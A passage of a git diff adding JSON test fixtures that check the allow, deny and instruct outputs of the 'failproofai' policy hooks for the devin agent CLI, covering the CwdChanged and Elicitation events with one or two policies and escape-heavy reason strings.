"parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..319ff28c --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2570b0c2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..0e1f5aa3 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..07ebcabf --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2a729e81 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..25964ac4 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d3d47572 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3072d271 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..0555e714 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6938ccb5 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..12572b68 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..23ba8da9 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..56a38247 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0e157e3e --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7438b3fe --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3abc6dd2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..f6d47f21 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3b396fa8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..33cf3e4d --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity 